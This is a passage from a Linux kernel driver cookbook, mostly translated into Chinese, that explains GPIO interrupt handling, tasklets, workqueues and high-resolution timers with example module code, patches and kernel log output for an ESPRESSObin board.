"ldddc,irqtest", }, - { /* sentinel */ } -}; -MODULE_DEVICE_TABLE(of, irqtest_dt_ids); - -static struct platform_driver irqtest_driver = { - .probe = irqtest_probe, - .remove = irqtest_remove, - .driver = { - .name = "irqtest", - .of_match_table = irqtest_dt_ids, - }, -}; - -module_platform_driver(irqtest_driver); -``` - -Note that all code presented here can be obtained from the GitHub repository by applying the `add_irqtest_module.patch` patch within the root directory of kernel sources by executing the `patch` command, as follows: -`**$ patch -p1 < ../linux_device_driver_development_cookbook/chapter_5/add_irqtest_module.patch**` - -3. 现在,我们知道了,一旦内核在设备树中检测到一个驱动与`ldddc,irqtest`兼容,就应该执行下面的`irqtest_probe()`探测功能。这个功能与前面`linux/drivers/misc/dummy-irq.c`文件中的功能非常相似,尽管有点复杂。事实上,首先我们必须通过使用`of_get_gpio()`功能从设备树中读取中断将来自的 GPIO 线: - -```sh -static int irqtest_probe(struct platform_device *pdev) -{ - struct device *dev = &pdev->dev; - struct device_node *np = dev->of_node; - int ret; - - /* Read gpios property (just the first entry) */ - ret = of_get_gpio(np, 0); - if (ret < 0) { - dev_err(dev, "failed to get GPIO from device tree\n"); - return ret; - } - irqinfo.pin = ret; - dev_info(dev, "got GPIO %u from DTS\n", irqinfo.pin); -``` - -4. 然后,我们必须通过使用`devm_gpio_request()`函数向内核请求 GPIO 行: - -```sh - /* Now request the GPIO and set the line as an input */ - ret = devm_gpio_request(dev, irqinfo.pin, "irqtest"); - if (ret) { - dev_err(dev, "failed to request GPIO %u\n", irqinfo.pin); - return ret; - } - ret = gpio_direction_input(irqinfo.pin); - if (ret) { - dev_err(dev, "failed to set pin input direction\n"); - return -EINVAL; - } - - /* Now ask to the kernel to convert GPIO line into an IRQ line */ - ret = gpio_to_irq(irqinfo.pin); - if (ret < 0) { - dev_err(dev, "failed to map GPIO to IRQ!\n"); - return -EINVAL; - } - irqinfo.irq = ret; - dev_info(dev, "GPIO %u correspond to IRQ %d\n", - irqinfo.pin, irqinfo.irq); -``` - -5. 在我们确定 GPIO 仅用于我们之后,我们必须使用`gpio_direction_input()`功能将其设置为输入(中断是输入信号),然后我们必须使用`gpio_to_irq()`功能获得相应的中断线路号(通常是不同的号码): - -```sh - ret = gpio_direction_input(irqinfo.pin); - if (ret) { - dev_err(dev, "failed to set pin input direction\n"); - return -EINVAL; - } - - /* Now ask to the kernel to convert GPIO line into an IRQ line */ - ret = gpio_to_irq(irqinfo.pin); - if (ret < 0) { - dev_err(dev, "failed to map GPIO to IRQ!\n"); - return -EINVAL; - } - irqinfo.irq = ret; - dev_info(dev, "GPIO %u correspond to IRQ %d\n", - irqinfo.pin, irqinfo.irq); -``` - -6. 之后,我们有了使用`linux/include/linux/interrupt.h`头文件中定义的`request_irq()`函数安装中断处理程序的所有必要信息,如下所示: - -```sh -extern int __must_check -request_threaded_irq(unsigned int irq, irq_handler_t handler, - irq_handler_t thread_fn, - unsigned long flags, const char *name, void *dev); - -static inline int __must_check -request_irq(unsigned int irq, irq_handler_t handler, unsigned long flags, - const char *name, void *dev) -{ - return request_threaded_irq(irq, handler, NULL, flags, name, dev); -} - -extern int __must_check -request_any_context_irq(unsigned int irq, irq_handler_t handler, - unsigned long flags, const char *name, void *dev_id); -``` - -7. 最后,`handler`参数指定了作为中断处理程序执行的函数,`dev`是一个指针,内核在执行时将原样传递给处理程序。在我们的示例中,中断处理程序定义如下: - -```sh -static irqreturn_t irqtest_interrupt(int irq, void *dev_id) -{ - struct irqtest_data *info = dev_id; - struct device *dev = info->dev; - - dev_info(dev, "interrupt occurred on IRQ %d\n", irq); - - return IRQ_HANDLED; -} -``` - -# 它是如何工作的... - -在*步骤 1* 中,该节点声明了一个与名为`ldddc,irqtest`的驱动兼容的设备,该设备要求使用`gpiosb`节点的 GPIO 线 20,在 Armada 3270 设备树`arch/arm64/boot/dts/marvell/armada-37xx.dtsi`文件中定义如下: - -```sh - pinctrl_sb: pinctrl@18800 { - compatible = "marvell,armada3710-sb-pinctrl", - "syscon", "simple-mfd"; - reg = <0x18800 0x100>, <0x18C00 0x20>; - /* MPP2[23:0] */ - gpiosb: gpio { - #gpio-cells = <2>; - gpio-ranges = <&pinctrl_sb 0 0 30>; - gpio-controller; - interrupt-controller; - #interrupt-cells = <2>; - interrupts = - , - , - , - , - ; - }; - ... -``` - -Here, we have the confirmation that the `gpiosb` node is related to MPP2 lines. - -在*步骤 2* 中,我们只在内核中声明驱动,而在*步骤* *3* 中,函数从`gpio`属性中获取 GPIO 信息,通过使用设置为`0`的第二个参数,我们只需请求第一个条目。返回值被保存到模块的数据结构中,现在定义如下: - -```sh -static struct irqtest_data { - int irq; - unsigned int pin; - struct device *dev; -} irqinfo; -``` - -在第 4 步中,实际上`devm_gpio_request()`调用并不是严格需要的,因为我们在内核中,没有人能阻止我们使用资源;然而,如果所有驱动都这样做,我们可以确保如果有人持有资源,我们会得到通知! - -We should now notice that the `devm_gpio_request()` function does not have a counterpart in the module's `exit()` function `irqtest_remove()` . This is because functions with the `devm` prefix are related to managed devices that are able to automatically deallocate resources when the owner device is removed from the system. -In the `linux/drivers/gpio/devres.c` file, where this function is defined, we see the following comment, which explains how this function works: -`/**` -`* devm_gpio_request - request a GPIO for a managed device` -`* @dev: device to request the GPIO for` -`* @gpio: GPIO to allocate` -`* @label: the name of the requested GPIO` -`*` -`* Except for the extra @dev argument, this function takes the` -`* same arguments and performs the same function as` -`* gpio_request(). GPIOs requested with this function will be` -`* automatically freed on driver detach.` -`*` -`* If an GPIO allocated with this function needs to be freed` -`* separately, devm_gpio_free() must be used.` -`*/` -This is advanced resource management and beyond the scope of this book. However, if you are interested, there is a lot of information on the internet, and the following is a good article to start with: [https://lwn.net/Articles/222860/](https://lwn.net/Articles/222860/). -Anyway the normal counterparts of the `devm_gpio_request()` function are the `gpio_request()` and `gpio_free()` functions. - -在步骤 5 中,注意一个 GPIO 行号几乎从不对应一个中断行号;这就是为什么我们需要调用`gpio_to_irq()`函数,以便获得与我们的 GPIO 线相关的正确的 IRQ 线。 - -在第 6 步中,我们可以看到`request_irq()`函数是`request_threaded_irq()`函数的特例,它通知我们中断处理程序可以在中断上下文中运行,或者在进程上下文中的内核线程中运行。 - -At the moment, we still don't know what kernel threads are (they will be explained in [Chapter 6](06.html), *Miscellaneous Kernel Internals*), but it should be easy to understand that they are something like a thread (or process) executed in the kernel space. - -此外,`request_any_context_irq()`函数可用于根据 IRQ 线路特性,委托内核自动请求正常中断处理程序或线程中断处理程序。 - -This a really advanced use of interrupt handlers, which is fundamental when we have to manage peripherals (such as I2C or SPI devices) where we need to suspend the interrupt handler to be able to read from, or write data to, the peripheral's registers. - -除了这些方面,所有的`request_irq*()`函数都有几个参数。首先是`irq`行,然后是一个符号`name`描述我们可以在`/proc/interrupts`文件中找到的中断行,然后我们可以使用`flags`参数指定一些特殊设置,如下所示(完整列表见`linux/include/linux/interrupt.h`文件): - -```sh -/* - * These correspond to the IORESOURCE_IRQ_* defines in - * linux/ioport.h to select the interrupt line behaviour. When - * requesting an interrupt without specifying a IRQF_TRIGGER, the - * setting should be assumed to be "as already configured", which - * may be as per machine or firmware initialisation. - */ -#define IRQF_TRIGGER_NONE 0x00000000 -#define IRQF_TRIGGER_RISING 0x00000001 -#define IRQF_TRIGGER_FALLING 0x00000002 -#define IRQF_TRIGGER_HIGH 0x00000004 -#define IRQF_TRIGGER_LOW 0x00000008 -... -/* - * IRQF_SHARED - allow sharing the irq among several devices - * IRQF_ONESHOT - Interrupt is not reenabled after the hardirq handler finished. - * Used by threaded interrupts which need to keep the - * irq line disabled until the threaded handler has been run. - * IRQF_NO_SUSPEND - Do not disable this IRQ during suspend. Does not guarantee - * that this interrupt will wake the system from a suspended - * state. See Documentation/power/suspend-and-interrupts.txt - */ -``` - -当 IRQ 线路与多个外设共享时,应使用`IRQF_SHARED`标志。(现在它相当无用,但在过去,它非常有用,尤其是在 x86 机器上。)系统使用`IRQF_ONESHOT`标志来确保即使是线程中断处理程序也可以在自己的 IRQ 线被禁用的情况下运行。`IRQF_NO_SUSPEND`标志可用于通过发送适当的中断请求,允许我们的外设将系统从挂起状态唤醒。(详见`linux/Documentation/power/suspend-and-interrupts.txt`文件。) - -然后`IRQF_TRIGGER_*`标志可用于指定我们外设的 IRQ 触发模式,即中断是否必须在高电平或低电平或上升或下降转换期间产生。 - -These last flag groups should be carefully checked against the device tree pinctrl settings; otherwise, we might see some unexpected behavior. - -在步骤 7 中,由于在`request_irq()`函数中我们将`dev`参数设置为`struct irqtest_data`模块的指针,当`irqtest_interrupt()`中断处理程序执行时,它将在`dev_id`参数中找到与我们提供给`request_irq()`的指针相同的指针。通过使用这个技巧,我们可以得到从探测函数得到的`dev`值,并且我们可以安全地将其作为`dev_info()`函数的参数重用,就像前面一样。 - -在我们的例子中,中断处理程序除了显示一条消息之外几乎什么也不做。然而,通常在中断处理程序中,我们必须确认外设,向其读写数据,然后唤醒所有等待外设活动的休眠进程。无论如何,最后,处理程序应该从`linux/include/linux/irqreturn.h`文件中列出的值中返回一个值: - -```sh -/** - * enum irqreturn - * @IRQ_NONE interrupt was not from this device or was not handled - * @IRQ_HANDLED interrupt was handled by this device - * @IRQ_WAKE_THREAD handler requests to wake the handler thread - */ -``` - -`IRQ_NONE`值在我们处理共享中断的情况下很有用,它通知系统当前的 IRQ 不适合我们,并且它必须传播到下一个处理程序,而`IRQ_WAKE_THREAD`应该在线程化 IRQ 处理程序的情况下使用。当然,`IRQ_HANDLED`必须用于向系统报告 IRQ 已送达。 - -# 还有更多... - -如果您希望检查这是如何工作的,我们可以通过测试我们的示例来完成。我们必须编译它,然后用我们编译为内置的代码重新安装内核,所以让我们使用通常的`make menuconfig`命令并启用我们的测试代码,或者只使用`make oldconfig`,当系统要求选择时回答`y`,如下所示: - -```sh -Simple IRQ test (IRQTEST_CODE) [N/m/y/?] (NEW) -``` - -之后,我们只需重新编译并重新安装内核,然后重新启动 ESPRESSObin。如果在引导过程中一切正常,我们应该会看到如下内核消息: - -```sh -irqtest irqtest: got GPIO 466 from DTS -irqtest irqtest: GPIO 466 correspond to IRQ 40 -irqtest irqtest: interrupt handler for IRQ 40 is now ready! -``` - -现在,MPP2_20 线已经被内核取用,转换成 40 号中断线路。为了验证它,我们可以看一下`/proc/interrupts`文件,它保存了内核中所有注册的中断线路。之前,我们在中断处理程序注册过程中使用了`request_irq()`函数中的`irqtest`标签,因此我们必须在文件中使用`grep`进行搜索,如下所示: - -```sh -# grep irqtest /proc/interrupts - 40: 0 0 GPIO2 20 Edge irqtest -``` - -好的。中断线路 40 已经分配给我们的模块,我们注意到这个 IRQ 线路对应于 GPIO2 组的 GPIO 线路 20(即 MPP2_20 线路)。如果我们看一下`/proc/interrupts`文件的开头,应该会得到如下输出: - -```sh -# head -4 /proc/interrupts - CPU0 CPU1 - 1: 0 0 GICv3 25 Level vgic - 3: 5944 20941 GICv3 30 Level arch_timer - 4: 0 0 GICv3 27 Level kvm guest timer -... -``` - -第一个数字是中断线路;第二个和第三个分别显示了 CPU0 和 CPU1 服务了多少个中断,因此我们可以使用这些信息来验证哪个 CPU 服务了我们的中断。 - -好的。现在我们准备好出发了。只需将引脚 12 连接到 P8 扩展连接器的引脚 1;至少应该生成一个中断,并且应该在内核消息中出现如下消息: - -```sh -irqtest irqtest: interrupt occurred on IRQ 40 -``` - -Note that you may get several messages due to the fact that, during the short circuit operation, the electrical signal may generate several oscillations, which in turn will generate several interrupts. - -最后,让我们看看如果我们尝试使用 sysfs 接口导出 466 号 GPIO 行会发生什么,就像我们之前所做的那样: - -```sh -# echo 466 > /sys/class/gpio/export --bash: echo: write error: Device or resource busy -``` - -现在,我们正确地得到一个繁忙的错误,因为当我们使用`devm_gpio_request()`函数时,内核已经请求了这样一个 GPIO。 - -# 请参见 - -* 关于中断处理程序的更多信息,一个很好的起点(即使它有点过时)是位于[https://www.tldp.org/LDP/lkmpg/2.4/html/x1210.html](https://www.tldp.org/LDP/lkmpg/2.4/html/x1210.html)T2【的 Linux 内核模块编程指南】。 - -# 推迟工作 - -中断是由外围设备生成的事件,但是,如前所述,它们不是内核可以处理的唯一事件。事实上,软件中断是存在的,它类似于硬件中断,但由软件产生。在这本书里,我们会看到两个这样的软件中断的例子;这两种方法都可以用来安全地将工作推迟到将来。我们还将了解一种有用的机制,设备驱动开发人员可以使用这种机制来捕获特殊的内核事件并执行相应的操作(例如,当网络设备启用时,或者系统正在重新启动时,等等)。 - -在本食谱中,我们将看到当内核中发生特定事件时,如何推迟作业。 - -# 准备好了 - -由于小任务和工作队列是为了推迟作业而实现的,它们的主要用途是在中断处理程序中,我们只需确认中断请求(通常称为 IRQ),然后调用小任务/工作队列来完成作业。 - -然而,不要忘记这只是小任务和工作队列的几种可能用法之一,当然,即使没有中断也可以使用。 - -# 怎么做... - -在这一节中,我们将针对前面的`irqtest.c`示例,通过使用补丁来展示关于小任务和工作队列的简单示例。 - -在接下来的章节中,无论何时需要,我们都将展示这些机制的更复杂的用法,但是,目前,我们只对理解它们的基本用法感兴趣。 - -# 小任务 - -让我们看看如何通过以下步骤来实现: - -1. 需要进行以下修改,以便向我们的`irqtest_interrupt()`中断处理程序添加自定义小任务调用: - -```sh ---- a/drivers/misc/irqtest.c -+++ b/drivers/misc/irqtest.c -@@ -26,9 +26,19 @@ static struct irqtest_data { - } irqinfo; - - /* -- * The interrupt handler -+ * The interrupt handlers - */ - -+static void irqtest_tasklet_handler(unsigned long flag) -+{ -+ struct irqtest_data *info = (struct irqtest_data *) flag; -+ struct device *dev = info->dev; -+ -+ dev_info(dev, "tasklet executed after IRQ %d", info->irq); -+} -+DECLARE_TASKLET(irqtest_tasklet, irqtest_tasklet_handler, -+ (unsigned long) &irqinfo); -+ - static irqreturn_t irqtest_interrupt(int irq, void *dev_id) - { - struct irqtest_data *info = dev_id; -@@ -36,6 +46,8 @@ static irqreturn_t irqtest_interrupt(int irq, void *dev_id) - - dev_info(dev, "interrupt occurred on IRQ %d\n", irq); - -+ tasklet_schedule(&irqtest_tasklet); -+ - return IRQ_HANDLED; - } - -@@ -98,6 +110,7 @@ static int irqtest_remove(struct platform_device *pdev) - { - struct device *dev = &pdev->dev; - -+ tasklet_kill(&irqtest_tasklet); - free_irq(irqinfo.irq, &irqinfo); - dev_info(dev, "IRQ %d is now unmanaged!\n", irqinfo.irq); -``` - -The previous patch can be found in the GitHub resources in the `add_tasklet_to_irqtest_module.patch` file, and it can be applied as usual with the -**`patch -p1 < add_tasklet_to_irqtest_module.patch`** command. - -2. 一旦定义了小任务,就可以使用`tasklet_schedule()`函数调用它,如前所示。要停止它,我们可以使用`tasklet_kill()`函数,在我们的例子中是`irqtest_remove()`函数,在从内核卸载模块之前停止小任务。事实上,在卸载我们的模块或发生内存损坏之前,我们必须确保之前由我们的驱动分配和/或启用的每个资源都已被禁用和/或释放。 - 注意`DECLARE_TASKLET()`的编译时用法不是声明小任务的唯一方法。事实上,以下是一种替代方式: - -```sh ---- a/drivers/misc/irqtest.c -+++ b/drivers/misc/irqtest.c -@@ -23,12 +23,21 @@ static struct irqtest_data { - int irq; - unsigned int pin; - struct device *dev; -+ struct tasklet_struct task; - } irqinfo; - - /* -- * The interrupt handler -+ * The interrupt handlers - */ - -+static void irqtest_tasklet_handler(unsigned long flag) -+{ -+ struct irqtest_data *info = (struct irqtest_data *) flag; -+ struct device *dev = info->dev; -+ -+ dev_info(dev, "tasklet executed after IRQ %d", info->irq); -+} -+ - static irqreturn_t irqtest_interrupt(int irq, void *dev_id) - { - struct irqtest_data *info = dev_id; -@@ -36,6 +45,8 @@ static irqreturn_t irqtest_interrupt(int irq, void *dev_id) - - dev_info(dev, "interrupt occurred on IRQ %d\n", irq); - -+ tasklet_schedule(&info->task); -+ - return IRQ_HANDLED; - } - -@@ -80,6 +91,10 @@ static int irqtest_probe(struct platform_device *pdev) - dev_info(dev, "GPIO %u correspond to IRQ %d\n", - irqinfo.pin, irqinfo.irq); -``` - -然后,我们创建我们的小任务如下: - -```sh -+ /* Create our tasklet */ -+ tasklet_init(&irqinfo.task, irqtest_tasklet_handler, -+ (unsigned long) &irqinfo); -+ - /* Request IRQ line and setup corresponding handler */ - irqinfo.dev = dev; - ret = request_irq(irqinfo.irq, irqtest_interrupt, 0, -@@ -98,6 +113,7 @@ static int irqtest_remove(struct platform_device *pdev) - { - struct device *dev = &pdev->dev; - -+ tasklet_kill(&irqinfo.task); - free_irq(irqinfo.irq, &irqinfo); - dev_info(dev, "IRQ %d is now unmanaged!\n", irqinfo.irq); -``` - -The preceding patch can be found in the GitHub resources in the `add_tasklet_2_to_irqtest_module.patch` file, and it can be applied as usual with the -**`patch -p1 < add_tasklet_2_to_irqtest_module.patch`** command. - -当我们必须在设备结构中嵌入小任务,然后动态生成它时,第二种形式非常有用。 - -# 工作队列 - -现在让我们来看看工作队列。在下面的例子中,我们添加了一个由`irqtest_wq`指针引用并命名为`irqtest`的自定义工作队列,它依次执行由`work`和`dwork`结构描述的两个不同的工作:前者是正常工作,而后者代表延迟工作,即在众所周知的延迟之后执行的工作。 - -1. 首先,我们必须添加我们的数据结构: - -```sh -a/drivers/misc/irqtest.c -+++ b/drivers/misc/irqtest.c -@@ -14,6 +14,7 @@ - #include - #include - #include -+#include - - /* - * Module data -@@ -23,12 +24,37 @@ static struct irqtest_data { - int irq; - unsigned int pin; - struct device *dev; -+ struct work_struct work; -+ struct delayed_work dwork; - } irqinfo; - -+static struct workqueue_struct *irqtest_wq; -... -``` - -All these modifications can be found in the GitHub resources in the `add_workqueue_to_irqtest_module.patch` file and it can be applied as usual with the -**`patch -p1 < add_workqueue_to_irqtest_module.patch`** command. - -2. 然后,我们必须创建工作队列,它就可以工作了。对于工作队列的创建,我们可以使用`create_singlethread_workqueue()`功能,而这两个工作可以使用`INIT_WORK()`和`INIT_DELAYED_WORK(),`进行初始化,如下所示: - -```sh -@@ -80,24 +108,40 @@ static int irqtest_probe(struct platform_device *pdev) - dev_info(dev, "GPIO %u correspond to IRQ %d\n", - irqinfo.pin, irqinfo.irq); - -+ /* Create our work queue and init works */ -+ irqtest_wq = create_singlethread_workqueue("irqtest"); -+ if (!irqtest_wq) { -+ dev_err(dev, "failed to create work queue!\n"); -+ return -EINVAL; -+ } -+ INIT_WORK(&irqinfo.work, irqtest_work_handler); -+ INIT_DELAYED_WORK(&irqinfo.dwork, irqtest_dwork_handler); -+ - /* Request IRQ line and setup corresponding handler */ - irqinfo.dev = dev; - ret = request_irq(irqinfo.irq, irqtest_interrupt, 0, - "irqtest", &irqinfo); - if (ret) { - dev_err(dev, "cannot register IRQ %d\n", irqinfo.irq); -- return -EIO; -+ goto flush_wq; - } - dev_info(dev, "interrupt handler for IRQ %d is now ready!\n", - irqinfo.irq); - - return 0; -+ -+flush_wq: -+ flush_workqueue(irqtest_wq); -+ return -EIO; - } -``` - -To create a workqueue, we can also use the `create_workqueue()` function; however, this creates a workqueue that has a dedicated thread for each processor on the system. In many cases, all those threads are simply overkilled and the single worker thread obtained with `create_singlethread_workqueue()` will suffice. Note that the Concurrency Managed Workqueue API, available in the kernel's documentation file (`linux/Documentation/core-api/workqueue.rst`), states that the `create_*workqueue()` functions are deprecated and scheduled for removal. However, they seem to be still widely used with kernel sources. - -3. 接下来是处理程序主体,表示正常工作队列和延迟工作队列的有效工作负载,如下所示: - -```sh -+static void irqtest_dwork_handler(struct work_struct *ptr) -+{ -+ struct irqtest_data *info = container_of(ptr, struct irqtest_data, -+ dwork.work); -+ struct device *dev = info->dev; -+ -+ dev_info(dev, "delayed work executed after work"); -+} -+ -+static void irqtest_work_handler(struct work_struct *ptr) -+{ -+ struct irqtest_data *info = container_of(ptr, struct irqtest_data, -+ work); -+ struct device *dev = info->dev; -+ -+ dev_info(dev, "work executed after IRQ %d", info->irq); -+ -+ /* Schedule the delayed work after 2 seconds */ -+ queue_delayed_work(irqtest_wq, &info->dwork, 2*HZ); -+} -``` - -Note that to specify a delay of two seconds we used the `2*HZ `code, where `HZ` is a define (see the next section for further information about `HZ`) representing how many jiffies are needed to compose one second. So, to have a delay of two seconds, we have to multiply `HZ` by two. - -4. 中断处理程序现在只使用下面的`queue_work()`函数在返回之前执行第一个工作队列: - -```sh -@@ -36,6 +62,8 @@ static irqreturn_t irqtest_interrupt(int irq, void *dev_id) - - dev_info(dev, "interrupt occurred on IRQ %d\n", irq); - -+ queue_work(irqtest_wq, &info->work); -+ - return IRQ_HANDLED; - } -``` - -因此,当`irqtest_interrupt()`结束时,系统调用`irqtest_work_handler()`,然后通过使用`queue_delayed_work()`以两秒钟的延迟调用`irqtest_dwork_handler()`。 - -5. 最后,对于小任务,在退出模块之前,我们必须取消所有工作和工作队列(如果创建的话),方法是使用`cancel_work_sync()`进行正常工作,`cancel_delayed_work_sync()`进行延迟工作,以及(在我们的例子中)`flush_workqueue()`停止`irqtest`工作队列: - -```sh - static int irqtest_remove(struct platform_device *pdev) - { - struct device *dev = &pdev->dev; - -+ cancel_work_sync(&irqinfo.work); -+ cancel_delayed_work_sync(&irqinfo.dwork); -+ flush_workqueue(irqtest_wq); - free_irq(irqinfo.irq, &irqinfo); - dev_info(dev, "IRQ %d is now unmanaged!\n", irqinfo.irq); -``` - -# 还有更多... - -我们可以通过测试我们的例子来检查它是如何工作的。因此,我们必须应用所需的补丁,然后我们必须重新编译内核,重新安装并重新启动 ESPRESSObin。 - -# 小任务 - -为了测试小任务,我们可以像以前一样,将扩展连接器 P8 的引脚 12 连接到引脚 1。以下是我们应该获得的内核消息: - -```sh -irqtest irqtest: interrupt occurred on IRQ 40 -irqtest irqtest: tasklet executed after IRQ 40 -``` - -如预期的那样,产生一个 IRQ,然后由硬件`irqtest_interrupt()`中断处理器管理,该处理器依次执行`irqtest_tasklet_handler()`。小任务处理器。 - -# 工作队列 - -为了测试工作队列,我们必须短路我们众所周知的引脚,我们应该有如下输出: - -```sh -[ 33.113008] irqtest irqtest: interrupt occurred on IRQ 40 -[ 33.115731] irqtest irqtest: work executed after IRQ 40 -... -[ 33.514268] irqtest irqtest: interrupt occurred on IRQ 40 -[ 33.516990] irqtest irqtest: work executed after IRQ 40 -[ 33.533121] irqtest irqtest: interrupt occurred on IRQ 40 -[ 33.535846] irqtest irqtest: work executed after IRQ 40 -[ 35.138114] irqtest irqtest: delayed work executed after work -``` - -Note that, this time, I didn't remove the first part of kernel messages, in order to see timings, and to better evaluate delay between the normal work and delayed one. - -正如我们所看到的,只要我们连接 ESPRESSObin 引脚,我们就有几个中断跟随着工作,但是延迟的工作只执行一次。发生这种情况是因为,即使调度了几次,也只是第一次调用才生效,所以在这里我们可以看到,延迟的工作在其第一次`schedule_work()`调用后 2.025106 秒终于被执行了。这也意味着它已经比要求和预期的两秒钟晚了 25.106 毫秒被有效执行。这样一个明显的异常是由于这样一个事实,当您要求内核安排一些工作在延迟的工作队列中在稍后的时间点发生时,内核肯定会在未来的期望点安排您的工作,但是它不能保证您将在那个时间点执行它。它只会向你保证,这样的工作不会早于要求的截止日期。这种额外随机延迟的长度取决于当时的系统工作负载水平。 - -# 请参见 - -* 关于小任务,不妨看看[https://www . kernel . org/doc/html docs/kernel-hacking/basic-softirqs . html .](https://www.kernel.org/doc/htmldocs/kernel-hacking/basics-softirqs.html) -* 关于工作队列,更多信息请访问[https://www . kernel . org/doc/html/v 4.15/core-API/workqueue . html](https://www.kernel.org/doc/html/v4.15/core-api/workqueue.html)。 - -# 用内核定时器管理时间 - -在设备驱动开发过程中,可能需要在特定的时刻执行几个重复的操作,或者我们可能不得不在明确定义的延迟后推迟一些代码的执行。在这些情况下,内核定时器来帮助设备驱动开发人员。 - -在本食谱中,我们将看到如何使用内核定时器在明确定义的时间段内重复执行任务,或者将任务推迟到明确定义的时间间隔之后。 - -# 准备好了 - -对于内核定时器的一个简单例子,我们仍然可以使用一个内核模块,在这个模块的初始化函数中定义一个内核定时器。 - -在 GitHub 资源的`chapter_05/timer`目录中,有两个关于**内核定时器** ( **ktimer** )和**高分辨率定时器** ( **hrtimer** )的简单例子,在接下来的章节中,我们将详细解释它们,从新的高分辨率实现开始,这应该是新驱动中的首选。还提供了一个旧的应用编程接口来完成图片。 - -# 怎么做... - -`hires_timer.c`文件的以下主要部分包含一个关于高分辨率内核定时器的简单示例。 - -1. 让我们从文件的结尾开始,用模块`init()`功能: - -```sh -static int __init hires_timer_init(void) -{ - /* Set up hires timer delay */ - - pr_info("delay is set to %dns\n", delay_ns); - - /* Setup and start the hires timer */ - hrtimer_init(&hires_tinfo.timer, CLOCK_MONOTONIC, - HRTIMER_MODE_REL | HRTIMER_MODE_SOFT); - hires_tinfo.timer.function = hires_timer_handler; - hrtimer_start(&hires_tinfo.timer, ns_to_ktime(delay_ns), - HRTIMER_MODE_REL | HRTIMER_MODE_SOFT); - - pr_info("hires timer module loaded\n"); - return 0; -} -``` - -我们来看看`exit()`功能模块的位置: - -```sh -static void __exit hires_timer_exit(void) -{ - hrtimer_cancel(&hires_tinfo.timer); - - pr_info("hires timer module unloaded\n"); -} - -module_init(hires_timer_init); -module_exit(hires_timer_exit); -``` - -正如我们在模块`hires_timer_init()`初始化函数中看到的,我们读取`delay_ns`参数,并且,使用`hrtimer_init()`函数,我们首先通过指定一些特征来初始化定时器: - -```sh -/* Initialize timers: */ -extern void hrtimer_init(struct hrtimer *timer, clockid_t which_clock, - enum hrtimer_mode mode); -``` - -使用`which_clock`参数,我们要求内核使用特定的时钟。在我们的示例中,我们使用了`CLOCK_MONOTONIC`,这对于可靠的时间戳和精确测量短时间间隔非常有用(它在系统启动时开始,但在挂起期间停止),但是我们可以使用其他值(完整列表请参见`linux/include/uapi/linux/time.h`头文件),例如: - -2. 定时器初始化后,我们必须使用`function`指针设置回调或处理函数,如下所示,这里我们已经将`timer.function`设置为`hires_timer_handler`: - -```sh -hires_tinfo.timer.function = hires_timer_handler; -``` - -这次`hires_tinfo`模块数据结构定义如下: - -```sh -static struct hires_timer_data { - struct hrtimer timer; - unsigned int data; -} hires_tinfo; -``` - -3. 计时器初始化后,我们可以通过调用`hrtimer_start()`来启动它,在这里我们只需使用类似`ns_to_ktime()`的函数来设置到期时间,以防我们有时间间隔,或者使用`ktime_set()`,以防我们有秒/纳秒值。 - -See the `linux/include/linux/ktime.h` header for more of the `ktime*()` functions. - -如果我们看一下`linux/include/linux/hrtimer.h`文件,我们发现启动高分辨率计时器的主要功能是`hrtimer_start_range_ns()`,`hrtimer_start()`是该功能的一个特例,如下图所示: - -```sh -/* Basic timer operations: */ -extern void hrtimer_start_range_ns(struct hrtimer *timer, ktime_t tim, - u64 range_ns, const enum hrtimer_mode mode); - -/** - * hrtimer_start - (re)start an hrtimer - * @timer: the timer to be added - * @tim: expiry time - * @mode: timer mode: absolute (HRTIMER_MODE_ABS) or - * relative (HRTIMER_MODE_REL), and pinned (HRTIMER_MODE_PINNED); - * softirq based mode is considered for debug purpose only! - */ -static inline void hrtimer_start(struct hrtimer *timer, ktime_t tim, - const enum hrtimer_mode mode) -{ - hrtimer_start_range_ns(timer, tim, 0, mode); -} -``` - -We also discover that the `HRTIMER_MODE_SOFT` mode should not be used apart from for debugging purposes. - -通过使用`hrtimer_start_range_ns()`函数,我们允许`range_ns`增量时间,这使内核可以自由地将实际唤醒时间安排在对功耗和性能都友好的时间。内核为到期时间加上增量给出正常的尽力而为行为,但是可以决定更早地启动定时器,但是不能早于`tim`到期时间。 - -4. 来自`hires_timer.c`文件的`hires_timer_handler()`函数是回调函数的一个例子: - -```sh -static enum hrtimer_restart hires_timer_handler(struct hrtimer *ptr) -{ - struct hires_timer_data *info = container_of(ptr, - struct hires_timer_data, timer); - - pr_info("kernel timer expired at %ld (data=%d)\n", - jiffies, info->data++); - - /* Now forward the expiration time and ask to be rescheduled */ - hrtimer_forward_now(&info->timer, ns_to_ktime(delay_ns)); - return HRTIMER_RESTART; -} -``` - -通过使用`container_of()`操作符,我们可以获取一个指向我们的数据结构的指针(在示例中定义为`struct hires_timer_data`),然后,在完成我们的工作之后,我们调用`hrtimer_forward_now()`来设置一个新的到期时间,并且,通过返回`HRTIMER_RESTART`值,我们要求内核重启定时器。对于一次性计时器,我们可以返回`HRTIMER_NORESTART`。 - -5. 在模块退出时,在`hires_timer_exit()`功能内,我们必须使用`hrtimer_cancel()`功能等待定时器停止。等待计时器停止真的很重要,因为计时器是异步事件,在计时器回调执行时,我们可能会删除`struct hires_timer_data`模块释放结构,这可能会导致严重的内存损坏! - -请注意,同步是作为睡眠(或暂停)`process,`实现的,这意味着当我们处于中断上下文(硬或软)时,无法调用`hrtimer_cancel()`功能。但是,在这些情况下,我们可以使用`hrtimer_try_to_cancel()`,如果计时器已经正确停止(或者根本不活动),它会简单地返回一个非负值。 - -# 它是如何工作的... - -为了了解它是如何工作的,我们通过像往常一样简单地编译代码来测试我们的代码,然后将代码移动到我们的 ESPRESSObin 中。一切就绪后,我们只需将模块加载到内核中,如下所示: - -```sh -# insmod hires_timer.ko -``` - -然后,在内核消息中,我们应该得到如下内容: - -```sh -[ 528.902156] hires_timer:hires_timer_init: delay is set to 1000000000ns -[ 528.911593] hires_timer:hires_timer_init: hires timer module loaded -``` - -在*第 1 步*、*第 2 步*、*第 3 步*中,我们设置了定时器,这里我们知道它已经延迟一秒钟启动。 - -由于步骤 4,当定时器到期时,我们执行内核定时器的处理程序: - -```sh - -[ 529.911604] hires_timer:hires_timer_handler: kernel timer expired at 4295024749 (data=0) -[ 530.911602] hires_timer:hires_timer_handler: kernel timer expired at 4295024999 (data=1) -[ 531.911602] hires_timer:hires_timer_handler: kernel timer expired at 4295025249 (data=2) -[ 532.911602] hires_timer:hires_timer_handler: kernel timer expired at 4295025499 (data=3) -... -``` - -I've left the timings so you have an idea about kernel timer's precision. 